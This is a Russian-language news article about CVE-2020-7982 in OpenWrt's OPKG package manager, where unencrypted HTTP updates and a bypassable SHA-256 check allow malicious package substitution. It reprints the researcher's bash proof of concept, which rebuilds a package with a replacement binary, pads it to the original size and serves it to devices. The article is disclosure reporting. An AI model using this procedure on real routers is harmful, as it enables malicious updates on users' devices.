Исследователь безопасности Гвидо Вранкен выяснил, что почти три года ОС с открытым исходным кодом OpenWRT, которая поддерживает домашние маршрутизаторы и другие типы встраиваемых систем, была уязвима для атак удаленного выполнения кода, поскольку обновления доставлялись по незашифрованному каналу, а проверки цифровой подписи можно было легко обойти. Компания частично исправила ошибку, но отсутствие шифрования сохраняется.
Уязвимость CVE-2020-7982 существует в менеджере пакетов OPKG в OpenWrt. Она возникла из-за механизма проверки целостности загруженных пакетов с помощью контрольных сумм SHA-256, которые встроены в индекс репозитория.
Помимо маршрутизаторов, OpenWRT работает на смартфонах, карманных компьютерах и даже ноутбуках и настольных ПК. Считалось, что данная ОС является более безопасным выбором, так как предлагает расширенные функции, а исходный код легко проверяется.
Однако выяснилось, что обновления и установочные файлы доставляются через незашифрованные HTTP-соединения, которые открыты для атак, позволяющих злоумышленникам полностью заменить файлы на вредоносные. Злоумышленники также могут обходить проверки цифровой подписи. Все это делает возможным автоматическую установку вредоносного обновления на уязвимое устройство.
По мнению Вранкена, эксплойты для выполнения вредносного кода ограничены в возможностях, потому что злоумышленники должны либо проводить атаку «человек посередине», либо вмешиваться в работу DNS-сервера, который устройство использует для поиска обновлений в Интернете. Это означает, что маршрутизаторы в сети, которые используют законный DNS-сервер, защищены от атак. Вранкен также полагает, что подделка пакетов или отравление кэша ARP могут использоваться для атак, но сам он не тестировал эти методы.
Отсутствие шифрования HTTPS является одной из причин уязвимости, так как оно бы исключало саму возможность для злоумышленников вмешиваться в процесс передачи данных.
Исследователь смог создать сервер downloads.openwrt.org, который обслуживал вредоносное обновление. Пока вредоносный файл имел допустимый размер, он выполнялся уязвимым устройством. По словам Вранкена, это делается просто: нужно создать пакет, который меньше оригинала, вычислить разницу в размерах между оригинальной и скомпрометированной упаковкой и добавить это количество нулевых байтов в конец скомпрометированного пакета.
Он предоставил следующий проверочный код:
#!/bin/bash
# Download the package lists for mirroring
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig
mv downloads.openwrt.org/snapshots .
rm -rf downloads.openwrt.org/
# Get the original package
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk
ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
tar zxf attr_2.4.48-2_x86_64.ipk
rm attr_2.4.48-2_x86_64.ipk
# Extract the binaries
mkdir data/
cd data/
tar zxvf ../data.tar.gz
rm ../data.tar.gz
# Build the replacement binary. It is a very small program that prints a string.
rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section .text" >>/tmp/pwned.asm
echo "global _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov edx,len" >>/tmp/pwned.asm
echo " mov ecx,msg" >>/tmp/pwned.asm
echo " mov ebx,1" >>/tmp/pwned.asm
echo " mov eax,4" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo " mov eax,1" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo "section .data" >>/tmp/pwned.asm
echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm
echo "len equ $ - msg" >>/tmp/pwned.asm
# Assemble
nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o
# Link
ld /tmp/pwned.o -o usr/bin/attr
# Pack into data.tar.gz
tar czvf ../data.tar.gz *
cd ../
# Remove files no longer needed
rm -rf data/
# Pack
tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary
# Remove files no longer needed
rm control.tar.gz data.tar.gz debian-binary
# Compute the size difference between the original package and the compromised package
MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"
# Pad the modified file to the expected size
head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk
# Download the dependency of attr
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk
# Position the files for serving from the web server
mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
# Launch a basic web server that opkg will be connecting to
sudo python -m SimpleHTTPServer 80
Чтобы не дать злоумышленникам использовать обнаруженную уязвимость, OpenWRT требует от загруженных обновлений совпадения с криптографическим хешем SHA256. Если хэши не совпадают, то устройства не должны выполнять обновление. Вранкен, однако, обнаружил, что можно было обойти проверку хеша, добавив пробел в начало входной строки в функции checkum_hex2bin.
Обновление с исправлением вышло в конце января. В качестве решения разработчики OpenWrt удалили пробел в сумме SHA256 из списка, заявив, что это исправляет критическую уязвимость. Но Вранкен расценил меру как временную, так как злоумышленник может использовать более старый список пакетов, подписанный разработчиками OpenWrt.
Проблема затрагивает версии OpenWrt с 18.06.0 до 18.06.6, версию 19.07.0, а также LEDE с 17.01.0 до 17.01.7. Пользователям OpenWRT нужно установить либо версию 18.06.7, либо 19.07.1, и убедиться, что обновления предоставляются через соединение HTTPS.
См. также:
- «Найдена уязвимость в pppd, позволяющая удаленно выполнить код с правами root»
- «Настраиваем WireGuard на роутере Mikrotik под управлением OpenWrt»
- «Реверс-инжиниринг домашнего роутера с помощью binwalk. Доверяете софту своего роутера?»
- «Переход с OpenVPN на WireGuard для объединения сетей в одну сеть L2»